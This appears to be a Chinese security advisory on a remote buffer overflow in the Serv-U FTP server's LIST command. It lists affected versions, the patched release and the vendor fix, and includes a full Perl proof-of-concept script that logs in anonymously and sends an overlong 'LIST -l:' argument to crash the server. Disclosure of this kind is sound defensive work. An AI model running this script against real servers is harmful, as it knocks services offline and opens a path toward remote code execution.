Serv-U FTP服务器LIST命令超长-l参数远程缓冲区溢出漏洞
涉及程序:
Serv-U FTP
描述:
Serv-U FTP服务器LIST命令超长-l参数远程缓冲区溢出漏洞
详细:
Serv-U是一个Windows平台下使用非常广泛的FTP服务器软件。Serv-U在处理LIST命令对参数处理不正确,远程攻击者可以利用这个漏洞对FTP服务程序进行拒绝服务攻击,存在执行任意指令的可能。
攻击者利用LIST -l:命令,提交超长字符串给SERV-U,可触发缓冲区溢出,导致服务程序崩溃,精心构建提交数据可能以进程权限执行任意指令。
受影响系统:
RhinoSoft Serv-U 5.0
RhinoSoft Serv-U 4.1.0.3
RhinoSoft Serv-U 4.1.0.11
RhinoSoft Serv-U 4.0.0.4
RhinoSoft Serv-U 4.0.0.0
RhinoSoft Serv-U 5.0.0.4
- Microsoft Windows XP
- Microsoft Windows NT 4.0
- Microsoft Windows 98
- Microsoft Windows 2000
不受影响系统:
RhinoSoft Serv-U 5.0.0.9
攻击方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
storm (storm@stormdev.net)提供了如下测试方法:
#!/usr/bin/perl
use IO::Socket;
$host = "192.168.1.243";
$remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
PeerPort => "2116",
);
unless ($remote) { die "cannot connect to ftp daemon on $host" }
print "connected\n";
while (<$remote>)
{
print $_;
if (/220 /)
{
last;
}
}
$remote->autoflush(1);
my $ftp = "USER anonymous\r\n";
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote>)
{
print $_;
if (/331 /)
{
last;
}
}
$ftp = join("", "PASS ", "a\@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote>)
{
print $_;
if (/230 /)
{
last;
}
}
my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote>)
{
print $_;
if (/250 Done/)
{
last;
}
}
close $remote;
解决方案:
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.serv-u.com/
附加信息:
无